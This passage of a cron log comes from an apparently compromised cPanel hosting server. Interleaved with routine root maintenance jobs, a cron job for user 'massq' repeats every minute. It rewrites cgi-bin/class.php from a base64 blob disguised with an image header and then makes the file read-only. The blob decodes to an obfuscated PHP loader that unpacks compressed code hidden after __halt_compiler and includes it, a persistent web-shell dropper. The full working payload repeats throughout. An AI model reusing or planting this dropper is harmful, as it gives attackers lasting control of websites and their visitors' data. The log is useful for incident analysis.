lZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:58:02 server CROND[18507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:58:02 server CROND[18509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:59:01 server CROND[18895]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  2 02:59:01 server CROND[18897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:59:01 server CROND[18896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:59:01 server CROND[18898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:00:01 server CROND[19319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:00:01 server CROND[19318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 03:00:01 server CROND[19321]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 03:00:01 server CROND[19325]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 03:00:01 server CROND[19324]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:00:01 server CROND[19326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:00:01 server CROND[19328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:00:01 server CROND[19329]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 03:00:01 server CROND[19337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:01:01 server CROND[20242]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 03:01:01 server CROND[20245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:01:01 server CROND[20244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:01:01 server CROND[20243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:01:01 server run-parts(/etc/cron.hourly)[20242]: starting 0anacron
Sep  2 03:01:01 server anacron[20266]: Anacron started on 2026-09-02
Sep  2 03:01:01 server anacron[20266]: Will run job `cron.daily' in 27 min.
Sep  2 03:01:01 server anacron[20266]: Jobs will be executed sequentially
Sep  2 03:01:01 server run-parts(/etc/cron.hourly)[20268]: finished 0anacron
Sep  2 03:02:01 server CROND[20654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:02:01 server CROND[20655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:02:01 server CROND[20656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:03:01 server CROND[21168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:03:01 server CROND[21169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:03:01 server CROND[21170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:04:01 server CROND[21561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:04:01 server CROND[21562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:04:01 server CROND[21563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:05:01 server CROND[21979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:05:01 server CROND[21980]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 03:05:01 server CROND[21983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:05:01 server CROND[21986]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:05:01 server CROND[21991]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 03:05:01 server CROND[21988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:05:01 server CROND[21987]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 03:05:01 server CROND[21993]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:06:01 server CROND[23072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:06:01 server CROND[23073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:06:01 server CROND[23074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:07:01 server CROND[23477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:07:01 server CROND[23478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:07:01 server CROND[23479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:08:01 server CROND[23975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:08:01 server CROND[23976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:08:01 server CROND[23977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:09:01 server CROND[24359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:09:01 server CROND[24360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:09:01 server CROND[24361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:09:01 server CROND[24362]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 03:10:01 server CROND[24751]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:10:01 server CROND[24752]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 03:10:01 server CROND[24755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 03:10:01 server CROND[24756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 